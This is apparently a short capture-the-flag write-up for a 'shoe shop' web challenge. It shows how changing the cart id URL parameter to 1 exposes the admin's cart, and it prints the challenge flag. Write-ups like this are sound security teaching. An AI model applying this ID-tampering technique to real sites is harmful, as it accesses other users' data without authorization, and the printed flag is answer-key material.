Search for a command to run...

We created a new shoe shop, so we can sell some shoes. Too bad the admin already put the exclusive shoe in his shopping cart, but feel free to browse around and check out if there are some shoes you like
Browsercurl (optional)Fuzzing query params to access the admin's cart.
Navigating on an item (like the exclusive) shows:
https://shoe-shop-1.ctf.zone/index.php?page=shoe&id=3
Going on our cart shows:
https://shoe-shop-1.ctf.zone/index.php?page=cart&id=285
We try fuzzing and get the admin cart with the id 1:
https://shoe-shop-1.ctf.zone/index.php?page=cart&id=1
From there we get the flag in the shoe description:
Exclusive: Ultraboost FlagshipHigh-performance sneakers containing the flag flag{00f34f9c417fcaa72b16f79d02d33099}.
flag{00f34f9c417fcaa72b16f79d02d33099}